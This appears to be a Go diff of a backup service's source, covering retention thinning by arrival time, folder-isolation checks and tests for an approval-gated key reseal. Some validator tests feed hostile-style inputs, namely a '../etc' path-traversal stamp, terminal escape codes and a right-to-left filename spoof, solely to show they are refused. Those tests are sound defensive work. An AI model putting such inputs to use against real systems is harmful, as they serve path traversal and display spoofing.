Stamp: fixtureStamp, HostLabel: "the host being restored"}
out, errOut, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
if code != 0 {
t.Fatalf("start exited %d: %s", code, errOut)
}
var started map[string]string
_ = json.Unmarshal([]byte(out), &started)
if started["state"] != "pending" || !strings.HasPrefix(started["job_id"], "br-") {
t.Fatalf("start did not file a pending request: %s", out)
}
// Asking again files nothing new.
out2, _, _ := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
var again map[string]string
_ = json.Unmarshal([]byte(out2), &again)
if again["job_id"] != started["job_id"] {
t.Fatal("the same ask filed a second request")
}
st := resealStatus(t, dcn, started["job_id"])
if st["state"] != "pending" || st["sidecar"] != "" {
t.Fatalf("a key was handed out before the person approved: %v", st)
}
// Another pairing's state directory knows nothing of it.
if o := resealStatus(t, t.TempDir(), started["job_id"]); o["state"] != "unknown" {
t.Fatalf("another pairing read this request: %v", o)
}
if _, err := resealDecide(dcn, fixtureWho, started["job_id"], true); err != nil {
t.Fatal(err)
}
st = resealStatus(t, dcn, started["job_id"])
if st["state"] != "done" {
t.Fatalf("approved request is %v", st)
}
if got := armorOpen(t, []byte(st["sidecar"]), host); !bytes.Equal(got, fx.plain) {
t.Fatal("the host received a different record")
}
if _, err := resealDecide(dcn, fixtureWho, started["job_id"], true); err == nil {
t.Fatal("a decided request was decided again")
}
// A refusal hands over nothing.
req.To = mustRecipient(t)
out, _, _ = driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req)
var second map[string]string
_ = json.Unmarshal([]byte(out), &second)
if _, err := resealDecide(dcn, fixtureWho, second["job_id"], false); err != nil {
t.Fatal(err)
}
if st := resealStatus(t, dcn, second["job_id"]); st["state"] != "refused" || st["sidecar"] != "" {
t.Fatalf("a refused request handed something over: %v", st)
}
}
func mustRecipient(t *testing.T) string {
id, _ := age.GenerateX25519Identity()
return id.Recipient().String()
}
func TestBackupResealStartRefusesMalformedAsks(t *testing.T) {
dcn := withFixturePairings(t, map[string]int64{fixtureHost: fixtureEntity})[fixtureHost]
fx := newBackupFixture(t, "")
good := resealReq{Op: "start", Sidecar: string(fx.sidecar(t)), To: mustRecipient(t), Stamp: fixtureStamp}
bad := map[string]resealReq{}
r := good
r.Sidecar = "not armored"
bad["unarmored sidecar"] = r
r = good
r.Sidecar = strings.Repeat("A", sidecarMaxBytes+1)
bad["oversized sidecar"] = r
r = good
r.To = "age1notakey"
bad["bad key"] = r
r = good
r.Stamp = "../etc"
bad["bad stamp"] = r
for name, label := range map[string]string{
"multi-line label": "two\nlines", "escape sequence": "host\x1b[31m red", "C1 control": "ho\u0085st",
"reversed text": "host\u202etxt.exe", "line separator": "a\u2028b", "bell": "ho\x07st",
"too long": strings.Repeat("x", resealLabelMax+1),
} {
r = good
r.HostLabel = label
bad[name] = r
}
for name, req := range bad {
if _, _, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", req); code == 0 {
t.Errorf("%s: accepted", name)
}
}
// Not from a pairing, or from one that is not paired here: refused too.
for _, self := range []string{"", "other.host.privatae.ai"} {
if _, _, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", good); code == 0 {
t.Errorf("an ask from %q was accepted", self)
}
}
if m, _ := resealRead(dcn); len(m) != 0 {
t.Fatalf("refused asks were filed: %d", len(m))
}
// The same ask, well formed and from the pairing, is filed: the refusals
// above were for what they say.
if _, errOut, code := driveBackupOpAs(t, fixtureHost, "backup_reseal", dcn, "", good); code != 0 {
t.Fatalf("a good ask was refused: %s", errOut)
}
}
// The op table carries both new ops under the backup family, each with its
// own approval, so the generic per-run gate never asks twice for one act.
func TestBackupOpsAreClassified(t *testing.T) {
for _, op := range []string{"backup_push", "backup_reseal", "backup_list"} {
if _, ok := handlerOps[op]; !ok {
t.Errorf("%s has no handler", op)
}
if opFamily(op) != "dcn" {
t.Errorf("%s is in family %q", op, opFamily(op))
}
}
for _, op := range []string{"backup_push", "backup_reseal"} {
if !opWrites(op) || !ownApproval(op) {
t.Errorf("%s: a write that carries its own approval (writes=%v own=%v)", op, opWrites(op), ownApproval(op))
}
}
if opWrites("backup_list") {
t.Error("backup_list is a read")
}
if handlerOps["backup_reseal"].root != rootDcn || handlerOps["backup_push"].root != rootBackup ||
handlerOps["backup_list"].root != rootBackup {
t.Error("the ops run against the wrong root")
}
}
// A host cannot fill this machine's state with requests: past a count, or
// past a total size, start is refused with a sentence saying what to do.
func TestBackupResealQueueIsBounded(t *testing.T) {
armored := func(i, size int) string {
head := "-----BEGIN AGE ENCRYPTED FILE-----\n"
body := fmt.Sprintf("%08d", i) + strings.Repeat("A", size-len(head)-8)
return head + body
}
to := mustRecipient(t)
dir := t.TempDir()
for i := 0; i < resealMaxRequests; i++ {
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(i, 200), To: to, Stamp: fixtureStamp}); err != nil {
t.Fatalf("request %d refused: %v", i, err)
}
}
_, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(99, 200), To: to, Stamp: fixtureStamp})
if err == nil || !strings.Contains(err.Error(), "backup requests") {
t.Fatalf("request past the count was not refused as such: %v", err)
}
// The same ask again is still answered: it files nothing new.
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(0, 200), To: to, Stamp: fixtureStamp}); err != nil {
t.Fatalf("a repeated ask was refused: %v", err)
}
dir = t.TempDir()
big := sidecarMaxBytes
n := 0
for ; (n+1)*big <= resealMaxBytes; n++ {
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(n, big), To: to, Stamp: fixtureStamp}); err != nil {
t.Fatalf("request %d of %d bytes refused: %v", n, big, err)
}
}
if n >= resealMaxRequests {
t.Fatalf("the size bound (%d) is never reached before the count (%d)", resealMaxBytes, resealMaxRequests)
}
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: armored(n, big), To: to, Stamp: fixtureStamp}); err == nil ||
!strings.Contains(err.Error(), "KiB") {
t.Fatalf("request past the size bound was not refused: %v", err)
}
}
// What the person reads before approving: the host's words, marked as the
// host's, beside what the sidecar itself says when opened here.
func TestResealPreviewShowsWhatTheSidecarSays(t *testing.T) {
fx := newBackupFixture(t, "")
r := &resealRequest{ID: "br-1", Stamp: fixtureStamp, Pairing: fixtureHost, HostNumber: fixtureEntity,
HostLabel: "my new host", To: mustRecipient(t), Sidecar: string(fx.sidecar(t)), State: "pending"}
p, refusal := resealPreview(r, []age.Identity{fx.recovery}, fixtureWho)
if refusal != "" {
t.Fatalf("the host's own backup is refused: %s", refusal)
}
for _, want := range []string{"Sent by the pairing " + fixtureHost + ", host number 42", "What the host says",
`"my new host"`, "host number 42",
`"2026-09-28T02:00:00Z"`, `"b/` + fixtureStamp + `.tar.zst.age"`} {
if !strings.Contains(p, want) {
t.Errorf("the preview does not show %q:\n%s", want, p)
}
}
if strings.Contains(p, "approving will fail") {
t.Errorf("a matching sidecar was flagged:\n%s", p)
}
r.Stamp = "20250101T000000Z"
if p, _ := resealPreview(r, []age.Identity{fx.recovery}, fixtureWho); !strings.Contains(p, "approving will fail") {
t.Errorf("a sidecar for another backup was not flagged:\n%s", p)
}
other, _ := age.GenerateX25519Identity()
if p, _ := resealPreview(r, []age.Identity{other}, fixtureWho); !strings.Contains(p, "does not open here") {
t.Errorf("a sidecar this bastion cannot open was not said so:\n%s", p)
}
}
// With a second factor enrolled for the pairing, approving needs its code:
// no code or a wrong one opens nothing and leaves the request pending.
func TestBackupApproveNeedsTheEnrolledFactor(t *testing.T) {
fx := newBackupFixture(t, "")
fx.installAsBastionKey(t)
dir := t.TempDir()
secret := "GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"
if err := stepupSave(dir, &stepupFile{SecretB32: secret, EnrolledAt: "2026-09-28T00:00:00Z", LastCounter: -1}); err != nil {
t.Fatal(err)
}
host, _ := age.GenerateX25519Identity()
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(), Stamp: fixtureStamp})
if err != nil {
t.Fatal(err)
}
raw, _ := b32decode(secret)
now := time.Now()
good := hotp(raw, now.Unix()/stepupPeriod)
wrong := "000000"
if wrong == good {
wrong = "111111"
}
for _, code := range []string{"", wrong} {
if _, err := resealApprove(dir, fixtureWho, r.ID, code); err == nil {
t.Fatalf("approved with code %q", code)
}
m, _ := resealRead(dir)
if st := m[r.ID]; st.State != "pending" || st.Resealed != "" {
t.Fatalf("a refused approval changed the request: %+v", st)
}
}
done, err := resealApprove(dir, fixtureWho, r.ID, good)
if err != nil {
t.Fatalf("the right code was refused: %v", err)
}
if done.State != "done" || !bytes.Equal(armorOpen(t, []byte(done.Resealed), host), fx.plain) {
t.Fatalf("approved with the right code, but: %+v", done.State)
}
}
// Labels that cannot ride the JSON frame intact are refused by the check
// itself: invalid UTF-8 is not a label.
func TestResealLabelCheck(t *testing.T) {
for _, ok := range []string{"", "my new host", "hôte n°2 — été"} {
if !resealLabelOK(ok) {
t.Errorf("%q refused", ok)
}
}
for _, bad := range []string{"host\xff", "ho\x1bst", "ho\u200bst", "ho\u2066st", "a\u2029b", strings.Repeat("é", 61)} {
if resealLabelOK(bad) {
t.Errorf("%q accepted", bad)
}
}
}
+155
View File
@@ -0,0 +1,155 @@
package main
// backupretention.go — how many backups this machine keeps.
//
// A host sends its backup here every night (backup_fetch). Kept forever, they
// would fill the disk; so after each new backup arrives, the pairing's backup
// folder is thinned the way the host's other copies are: the newest 7, and
// the newest of each of the last 14 days, 8 weeks and 12 months.
//
// ONLY WHAT THIS BASTION FETCHED. Thinning considers the files in the record
// of arrivals (backupstate.go), which only a completed backup_fetch writes,
// and each only while it is still the file that arrived (same size and
// modification time). A file the person put in the folder, one that was
// there before this version, or one replaced since it arrived, is never
// counted and never removed; a changed or vanished file just leaves the
// record.
//
// BY ARRIVAL, NOT BY NAME. The record keeps the moment each file arrived,
// and that decides its day, week and month. The name comes from the host; if
// it decided, a host that had been taken over could send a batch of newer-
// named files into every past day and push the real backups of those days
// out. By arrival, everything a host sends today competes only with today.
//
// Backups are thinned in pairs (<stamp>.tar.zst.age and its <stamp>.key.age),
// the backup that just arrived is never removed, and a file named .keep-all
// in the folder turns thinning off.
import (
"fmt"
"os"
"path/filepath"
"regexp"
"sort"
"time"
)
// backupFileRe is the name of a backup file: its stamp, then data or sidecar.
var backupFileRe = regexp.MustCompile(`^([0-9]{8}T[0-9]{6}Z)\.(tar\.zst\.age|key\.age)$`)
const (
keepLast = 7
keepDaily = 14
keepWeekly = 8
keepMonthly = 12
)
type backupGroup struct {
stamp string
arrived time.Time
files []string
}
// pruneBackupRoot thins the pairing's backup folder root after the backup
// file `justArrived` (a name at its top) arrived. Returns the files removed.
func pruneBackupRoot(root, justArrived string) ([]string, error) {
m := backupFileRe.FindStringSubmatch(justArrived)
if m == nil {
return nil, nil
}
if _, err := os.Lstat(filepath.Join(root, ".keep-all")); err == nil {
return nil, nil
}
backupStateMu.Lock()
defer backupStateMu.Unlock()
a, err := arrivalsLoadLocked(root)
if err != nil {
return nil, err
}
groups := map[string]*backupGroup{}
for name, rec := range a.Files {
mm := backupFileRe.FindStringSubmatch(name)
fi, err := os.Lstat(filepath.Join(root, name))
if mm == nil || err != nil || !stillTheArrival(fi, rec) {
delete(a.Files, name)
continue
}
at, err := time.Parse(time.RFC3339Nano, rec.Arrived)
if err != nil {
delete(a.Files, name)
continue
}
g := groups[mm[1]]
if g == nil {
g = &backupGroup{stamp: mm[1]}
groups[mm[1]] = g
}
g.files = append(g.files, name)
// The data file's arrival decides; a sidecar alone counts by its own.
if mm[2] == "tar.zst.age" || g.arrived.IsZero() {
g.arrived = at
}
}
var list []*backupGroup
for _, g := range groups {
list = append(list, g)
}
keep := backupKeepSet(list)
keep[m[1]] = true
var removed []string
for _, g := range list {
if keep[g.stamp] {
continue
}
for _, name := range g.files {
err := os.Remove(filepath.Join(root, name))
if err == nil {
removed = append(removed, filepath.Join(root, name))
}
if err == nil || os.IsNotExist(err) {
delete(a.Files, name)
}
}
}
sort.Strings(removed)
return removed, arrivalsSaveLocked(root, a)
}
// backupKeepSet returns the stamps to keep: the newest keepLast, and the
// newest in each of the newest keepDaily days, keepWeekly ISO weeks and
// keepMonthly months that hold a backup, all by arrival.
func backupKeepSet(list []*backupGroup) map[string]bool {
sort.Slice(list, func(i, j int) bool {
if !list[i].arrived.Equal(list[j].arrived) {
return list[i].arrived.After(list[j].arrived)
}
return list[i].stamp > list[j].stamp
})
keep := map[string]bool{}
for i, g := range list {
if i < keepLast {
keep[g.stamp] = true
}
}
bucket := func(n int, key func(time.Time) string) {
seen := map[string]bool{}
for _, g := range list {
k := key(g.arrived)
if seen[k] {
continue
}
if len(seen) == n {
return
}
seen[k] = true
keep[g.stamp] = true
}
}
bucket(keepDaily, func(t time.Time) string { return t.UTC().Format("2006-01-02") })
bucket(keepWeekly, func(t time.Time) string {
y, w := t.UTC().ISOWeek()
return fmt.Sprintf("%d-W%02d", y, w)
})
bucket(keepMonthly, func(t time.Time) string { return t.UTC().Format("2006-01") })
return keep
}
+268
View File
@@ -0,0 +1,268 @@
package main
// Gate: the backup folder is thinned the way the host's other copies are,
// by when each backup arrived here — never by the name a host gave it — and
// only ever among the files this bastion recorded fetching.
import (
"net/http"
"os"
"path/filepath"
"sort"
"testing"
"time"
)
const stampFmt = "20060102T150405Z"
// arrive writes a data file and its sidecar and records both as having
// arrived at `at`, as a completed fetch does.
func arrive(t *testing.T, root, stamp string, at time.Time) {
t.Helper()
for _, suffix := range []string{".tar.zst.age", ".key.age"} {
if err := os.WriteFile(filepath.Join(root, stamp+suffix), []byte(stamp+suffix), 0o600); err != nil {
t.Fatal(err)
}
if err := recordArrival(root, stamp+suffix, "00", at); err != nil {
t.Fatal(err)
}
}
}
func stampsIn(t *testing.T, dir string) []string {
t.Helper()
l, err := listBackupDir(dir)
if err != nil {
t.Fatal(err)
}
var out []string
for _, b := range l {
out = append(out, b.Stamp)
}
sort.Strings(out)
return out
}
func TestRetentionKeepsSevenFourteenDailyEightWeeklyTwelveMonthly(t *testing.T) {
root := t.TempDir()
now := time.Date(2026, 9, 28, 2, 0, 0, 0, time.UTC)
var newest string
for d := 399; d >= 0; d-- {
at := now.AddDate(0, 0, -d)
newest = at.Format(stampFmt)
arrive(t, root, newest, at)
}
removed, err := pruneBackupRoot(root, newest+".tar.zst.age")
if err != nil {
t.Fatal(err)
}
kept := map[string]bool{}
for _, s := range stampsIn(t, root) {
kept[s] = true
}
if len(removed) != 2*(400-len(kept)) {
t.Fatalf("removed %d files for %d backups: data and sidecar go together", len(removed), 400-len(kept))
}
// Written out, not derived from the policy code: the last 14 days; the
// last day held in each of the 8 newest ISO weeks; the last day held in
// each of the 12 newest months; and nothing from the month before those.
for d := 0; d < 14; d++ {
if s := now.AddDate(0, 0, -d).Format(stampFmt); !kept[s] {
t.Fatalf("the backup of %d days ago was not kept", d)
}
}
for w := 0; w < 8; w++ {
// 2026-09-28 is a Monday, alone in the newest ISO week; each of the
// seven weeks before it has a Sunday as its newest day.
s := now.Format(stampFmt)
if w > 0 {
s = now.AddDate(0, 0, -1-7*(w-1)).Format(stampFmt)
}
if !kept[s] {
t.Fatalf("the newest backup of the week %d back (%s) was not kept", w, s)
}
}
for m := 1; m < 12; m++ {
last := time.Date(2026, time.Month(9-m+1), 1, 2, 0, 0, 0, time.UTC).AddDate(0, 0, -1)
if !kept[last.Format(stampFmt)] {
t.Fatalf("the last backup of %s was not kept", last.Format("2006-01"))
}
}
if kept[time.Date(2025, 9, 30, 2, 0, 0, 0, time.UTC).Format(stampFmt)] {
t.Fatal("a 13th month was kept")
}
if len(kept) < 14+7 || len(kept) > 14+8+12 {
t.Fatalf("kept %d; the policy keeps between 21 and 34 of a daily history", len(kept))
}
// The record forgets what was removed.
backupStateMu.Lock()
a, _ := arrivalsLoadLocked(root)
backupStateMu.Unlock()
if len(a.Files) != 2*len(kept) {
t.Fatalf("the record holds %d files for %d kept backups", len(a.Files), len(kept))
}
}
// A host that has been taken over names a batch of files for every past day.
// They all arrive today, so they compete with today only: the real history
// survives.
func TestRetentionIsNotSteeredByTheNamesAHostGives(t *testing.T) {
root := t.TempDir()
now := time.Now().UTC()
var real []string
for d := 20; d >= 1; d-- {
at := now.AddDate(0, 0, -d)
s := at.Format(stampFmt)
arrive(t, root, s, at)
real = append(real, s)
}
var last string
for d := 30; d >= 0; d-- {
// Named a minute after each real one, so by NAME each would win its day.
last = now.AddDate(0, 0, -d).Add(time.Minute).Format(stampFmt)
arrive(t, root, last, now)
}
if _, err := pruneBackupRoot(root, last+".tar.zst.age"); err != nil {
t.Fatal(err)
}
kept := map[string]bool{}
for _, s := range stampsIn(t, root) {
kept[s] = true
}
for _, s := range real[len(real)-13:] {
if !kept[s] {
t.Fatalf("the real backup %s was pushed out by files that arrived today", s)
}
}
}
// Thinning never touches a file this bastion did not record fetching: one
// the person put there, one that was there before, one replaced since it
// arrived, a link, or anything named otherwise; and .keep-all stops it.
func TestRetentionRemovesOnlyWhatThisBastionFetched(t *testing.T) {
root := t.TempDir()
now := time.Now().UTC()
old := now.AddDate(-3, 0, 0)
// The person's own backup-named files, older than anything.
for d := 0; d < 30; d++ {
s := old.AddDate(0, 0, d).Format(stampFmt)
_ = os.WriteFile(filepath.Join(root, s+".tar.zst.age"), []byte("mine"), 0o600)
}
other := filepath.Join(root, "notes.txt")
_ = os.WriteFile(other, []byte("mine"), 0o600)
target := filepath.Join(t.TempDir(), "20200101T000000Z.tar.zst.age")
_ = os.WriteFile(target, []byte("x"), 0o600)
link := filepath.Join(root, "20200101T000000Z.tar.zst.age")
if err := os.Symlink(target, link); err != nil {
t.Skipf("links cannot be made here: %v", err)
}
var stamps []string
for d := 400; d >= 0; d-- {
at := now.AddDate(0, 0, -d)
stamps = append(stamps, at.Format(stampFmt))
arrive(t, root, stamps[len(stamps)-1], at)
}
// One old arrival replaced by the person since: no longer the file that
// arrived, so it is not this bastion's to remove.
replaced := filepath.Join(root, stamps[0]+".tar.zst.age")
_ = os.WriteFile(replaced, []byte("the person's own file now, longer"), 0o600)
keep := filepath.Join(root, ".keep-all")
_ = os.WriteFile(keep, nil, 0o600)
if r, _ := pruneBackupRoot(root, stamps[len(stamps)-1]+".tar.zst.age"); len(r) != 0 {
t.Fatalf(".keep-all was ignored: %d removed", len(r))
}
_ = os.Remove(keep)
if r, _ := pruneBackupRoot(root, "export.tar.zst.age"); len(r) != 0 {
t.Fatal("a non-backup arrival thinned the folder")
}
r, err := pruneBackupRoot(root, stamps[len(stamps)-1]+".tar.zst.age")
if err != nil || len(r) == 0 {
t.Fatalf("nothing thinned: %v", err)
}
for d := 0; d < 30; d++ {
s := old.AddDate(0, 0, d).Format(stampFmt)
if _, err := os.Stat(filepath.Join(root, s+".tar.zst.age")); err != nil {
t.Fatalf("the person's own file %s was removed", s)
}
}
if _, err := os.Stat(replaced); err != nil {
t.Fatal("a file replaced since it arrived was removed")
}
if _, err := os.Stat(other); err != nil {
t.Fatal("a file that is not a backup was removed")
}
if _, err := os.Lstat(link); err != nil {
t.Fatal("a link was removed")
}
if _, err := os.Stat(target); err != nil {
t.Fatal("the file a link points to was removed")
}
}
// The backup that just arrived is kept even when, by arrival, the policy
// would drop it: a fetch never removes what it just delivered.
func TestRetentionNeverRemovesTheBackupThatJustArrived(t *testing.T) {
root := t.TempDir()
now := time.Now().UTC()
var oldest string
for d := 400; d >= 0; d-- {
at := now.AddDate(0, 0, -d)
s := at.Format(stampFmt)
arrive(t, root, s, at)
if oldest == "" {
oldest = s
}
}
if _, err := pruneBackupRoot(root, oldest+".tar.zst.age"); err != nil {
t.Fatal(err)
}
if _, err := os.Stat(filepath.Join(root, oldest+".tar.zst.age")); err != nil {
t.Fatal("the backup that just arrived was removed")
}
}
// Wired into backup_fetch: a backup file lands at the top of the pairing's
// folder whatever folder the host named, is recorded, and thins the folder.
func TestBackupFetchLandsAtTheRootRecordsAndThins(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
now := time.Now().UTC()
for d := 40; d >= 1; d-- {
at := now.AddDate(0, 0, -d)
arrive(t, root, at.Format(stampFmt), at)
}
body := []byte("tonight's backup")
srv, want := artifactServer(t, body)
oldTransport := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
defer func() { http.DefaultTransport = oldTransport }()
stamp := now.Format(stampFmt)
// The host names a subfolder; a backup file lands at the top regardless.
req := backupFetchReq{Op: "start", URL: srv.URL + "/a", RPath: "privatae-backups/" + stamp + ".tar.zst.age",
SHA256: want, Size: int64(len(body))}
abs, arrival, why := backupFetchDest(root, req.RPath)
if why != "" || !arrival || abs != filepath.Join(root, stamp+".tar.zst.age") {
t.Fatalf("a backup file would land at %q (arrival=%v, %q)", abs, arrival, why)
}
job := &backupJob{ID: "r1", SHA256: want, Want: int64(len(body)), State: "running", root: root, arrival: true}
runBackupFetch(job, srv.URL+"/a", abs, 1<<20)
if job.State != "done" {
t.Fatalf("%s %s", job.State, job.Error)
}
if job.Pruned == 0 {
t.Fatal("the arrival thinned nothing out of 40 days of backups")
}
backupStateMu.Lock()
a, _ := arrivalsLoadLocked(root)
backupStateMu.Unlock()
if rec, ok := a.Files[stamp+".tar.zst.age"]; !ok || rec.SHA256 != want {
t.Fatalf("the arrival was not recorded: %+v", rec)
}
// Anything else keeps the folder the host named, and is not an arrival.
if abs, arrival, _ := backupFetchDest(root, "exports/e1-"+stamp+".tar.zst.age"); arrival ||
abs != filepath.Join(root, "exports", "e1-"+stamp+".tar.zst.age") {
t.Fatalf("an export lands at %q (arrival=%v)", abs, arrival)
}
}
+297
View File
@@ -0,0 +1,297 @@
package main
// Gate: each host's backup folder is its own. Two pairings whose folders are
// the same, or one inside the other, are refused on every backup op, and so
// is a folder over the bastion's own configuration, keys or records.
import (
"errors"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
func savePairingWithRoot(t *testing.T, host, root string) {
t.Helper()
c := &Config{HostName: host, WGPrivateKey: "k", BastionTunnelIP: "fd00:9::a:1", BackupRoot: root}
if err := c.save(); err != nil {
t.Fatal(err)
}
}
func TestBackupRootsAreEachHostsOwn(t *testing.T) {
uiTestConfigDir(t)
const a, b = "a.host.privatae.ai", "b.host.privatae.ai"
base := t.TempDir()
rootA := filepath.Join(base, "a")
_ = os.MkdirAll(rootA, 0o700)
savePairingWithRoot(t, a, rootA)
savePairingWithRoot(t, b, filepath.Join(base, "b"))
if why := backupRootProblem(a, rootA); why != "" {
t.Fatalf("separate folders were refused: %s", why)
}
cases := map[string]string{
"the same folder": rootA,
"a folder inside it": filepath.Join(rootA, "sub"),
"a folder containing it": base,
}
link := filepath.Join(t.TempDir(), "link-to-a")
if err := os.Symlink(rootA, link); err == nil {
cases["the same folder through a link"] = link
}
for name, other := range cases {
savePairingWithRoot(t, b, other)
why := backupRootProblem(a, rootA)
if why == "" || !strings.Contains(why, b) {
t.Errorf("%s: not refused (%q)", name, why)
}
}
// On the lane: every backup op is refused before its handler runs.
savePairingWithRoot(t, b, rootA)
_, errOut, code := driveBackupOpAs(t, a, "backup_list", "", rootA, map[string]string{"op": "list"})
if code == 0 || !strings.Contains(errOut, "backup_root of its own") {
t.Fatalf("a shared backup folder was listed: %d %s", code, errOut)
}
// And the person cannot share a folder with a host whose own folder is
// not its own.
if err := cmdBackupShare(a, "", t.TempDir()); err == nil || !strings.Contains(err.Error(), "backup_root of its own") {
t.Fatal("a share was given to a host whose backup folder another host also uses")
}
}
func TestBackupRootNeverOverlapsTheBastionsOwnState(t *testing.T) {
cfg := uiTestConfigDir(t)
confDir, _ := configDirPath()
keys, _ := backupKeysDir()
state, _ := backupStateDir()
bad := map[string]string{
"the home folder": cfg,
"the configuration folder": confDir,
"the backup keys": keys,
"inside the backup keys": filepath.Join(keys, "x"),
"the backup records": state,
"inside the backup records": filepath.Join(state, "x"),
"the pairings": filepath.Join(confDir, "pairings"),
"inside the DCN state": filepath.Join(confDir, "dcn", "h.host.privatae.ai"),
"another config subfolder": filepath.Join(confDir, "context"),
"the backups folder itself": filepath.Join(confDir, "backups"),
}
for name, root := range bad {
if why := backupRootProblem("h.host.privatae.ai", root); why == "" {
t.Errorf("%s (%s) was accepted as a backup folder", name, root)
}
}
def := (&Config{HostName: "h.host.privatae.ai"}).backupRootPath()
for _, ok := range []string{def, filepath.Join(confDir, "backups", "any", "depth"), t.TempDir()} {
if why := backupRootProblem("h.host.privatae.ai", ok); why != "" {
t.Fatalf("%s was refused: %s", ok, why)
}
}
if _, err := addBackupShare("h.host.privatae.ai", def, confDir, "conf"); err == nil {
t.Fatal("the configuration folder was shared with a host")
}
}
// Folders shared with a pairing go when it is unpaired.
func TestUnpairTakesBackTheSharesOfThatPairing(t *testing.T) {
uiTestConfigDir(t)
const h, other = "gone.host.privatae.ai", "stays.host.privatae.ai"
savePairingWithRoot(t, h, t.TempDir())
if _, err := addBackupShare(h, t.TempDir(), t.TempDir(), "x"); err != nil {
t.Fatal(err)
}
if _, err := addBackupShare(other, t.TempDir(), t.TempDir(), "y"); err != nil {
t.Fatal(err)
}
prev := unpairNeedsRoot
unpairNeedsRoot = func() bool { return false }
t.Cleanup(func() { unpairNeedsRoot = prev })
if _, err := unpairHost(h); err != nil {
t.Fatal(err)
}
if len(sharesFor(h)) != 0 {
t.Fatal("an unpaired host kept the folders shared with it")
}
if len(sharesFor(other)) != 1 {
t.Fatal("another host's share went with it")
}
}
// A backup folder the person put outside the configuration folder (a NAS
// mount) is off limits to ops like the rest of this box's record: no op may
// name it, anything in it, or a folder holding it, as an effect.
func TestOpsCannotTouchAHostsBackupFolder(t *testing.T) {
uiTestConfigDir(t)
nas := filepath.Join(t.TempDir(), "nas", "backups")
_ = os.MkdirAll(nas, 0o700)
savePairingWithRoot(t, "nas.host.privatae.ai", nas)
offs, err := opOffLimits()
if err != nil {
t.Fatal(err)
}
found := false
for _, o := range offs {
found = found || o == nas
}
if !found {
t.Fatalf("the backup folder %s is not off limits: %v", nas, offs)
}
for _, p := range []string{nas, filepath.Join(nas, fixtureData), filepath.Dir(nas)} {
off, err := underOffLimits(p)
if err != nil || off == "" {
t.Errorf("%s is not refused as an op path: %q %v", p, off, err)
}
if err := effectOK(p + "/"); err == nil {
t.Errorf("%s is accepted as an op effect", p)
}
}
// An action op's root verb cannot be pointed at it either.
if err := opVerbArgOK(&opManifest{}, "verb", "path", filepath.Join(nas, fixtureData)); err == nil ||
!strings.Contains(err.Error(), "own record") {
t.Errorf("an action op's path argument reached the backup folder: %v", err)
}
if off, _ := underOffLimits(filepath.Join(t.TempDir(), "elsewhere")); off != "" {
t.Fatalf("an unrelated folder is refused: %s", off)
}
}
// The bastion's own folders are compared as they resolve: a backup folder
// that is a link to the configuration folder, or a configuration folder
// reached through a link, is refused all the same.
func TestBackupRootOverlapIsJudgedAsItResolves(t *testing.T) {
real := t.TempDir()
link := filepath.Join(t.TempDir(), "cfg-link")
if err := os.Symlink(real, link); err != nil {
t.Skip("no symlinks here")
}
t.Setenv("XDG_CONFIG_HOME", link)
t.Setenv("HOME", link)
t.Setenv("AppData", link)
conf, _ := configDirPath()
_ = os.MkdirAll(conf, 0o700)
realConf := filepath.Join(real, "privatae-bastion")
for name, root := range map[string]string{
"the configuration folder by its real path": realConf,
"inside it by its real path": filepath.Join(realConf, "pairings"),
} {
if why := backupRootProblem("h.host.privatae.ai", root); why == "" {
t.Errorf("%s (%s) was accepted", name, root)
}
}
if why := backupRootProblem("h.host.privatae.ai", filepath.Join(realConf, "backups", "h")); why != "" {
t.Fatalf("the default folder by its real path was refused: %s", why)
}
}
// The daemon never touches the backup folder when it starts: the lane gets
// the folder's path, and each backup op checks and creates it (with a
// bound). Read from the source, because starting the real daemon here would
// need a pairing and a tunnel.
func TestDaemonStartDoesNotTouchTheBackupFolder(t *testing.T) {
src, err := os.ReadFile("run.go")
if err != nil {
t.Fatal(err)
}
if strings.Contains(string(src), "backupRoot()") || !strings.Contains(string(src), "cfg.backupRootPath(), mgmtWorkerCount") {
t.Fatal("run.go creates or resolves the backup folder at start instead of passing its path to the lane")
}
}
// pushStatusVia runs backup_push status, a backup op that writes (so it is
// the one that creates the folder), and returns its exit and stderr.
func pushStatusVia(t *testing.T, root string) (int, string) {
t.Helper()
_, errOut, code := driveBackupOp(t, "backup_push", "", root, backupPushReq{Op: "status", JobID: "bp-none"})
return code, errOut
}
// The folder is made by the first backup op that writes, not by a listing:
// backup_list is a read and creates nothing.
func TestTheBackupFolderIsCreatedOnFirstBackupOp(t *testing.T) {
root := filepath.Join(t.TempDir(), "not-yet")
l := listVia(t, root)
if len(l) != 0 {
t.Fatalf("listed %+v", l)
}
if _, err := os.Stat(root); !os.IsNotExist(err) {
t.Fatalf("backup_list, a read, created the backup folder: %v", err)
}
if code, errOut := pushStatusVia(t, root); code != 0 {
t.Fatalf("backup_push status: %d %s", code, errOut)
}
if fi, err := os.Stat(root); err != nil || !fi.IsDir() {
t.Fatal("the first backup op that writes did not create the backup folder")
}
}
// A backup folder that errors when created refuses that op with the reason,
// and the next op tries again: no restart needed.
func TestABackupFolderThatCannotBeCreatedIsRetriedPerOp(t *testing.T) {
root := filepath.Join(t.TempDir(), "nas")
prev := backupMkdirFn
backupMkdirFn = func(string, os.FileMode) error { return errors.New("read-only file system") }
code, errOut := pushStatusVia(t, root)
backupMkdirFn = prev
if code == 0 || !strings.Contains(errOut, "cannot be created") || !strings.Contains(errOut, "read-only") {
t.Fatalf("a folder that cannot be created: %d %s", code, errOut)
}
if l := listVia(t, root); len(l) != 0 {
t.Fatalf("listed %+v", l)
}
}
// A backup folder that does not answer refuses that host's backup ops
// quickly, with a sentence, and the rest of its lane goes on.
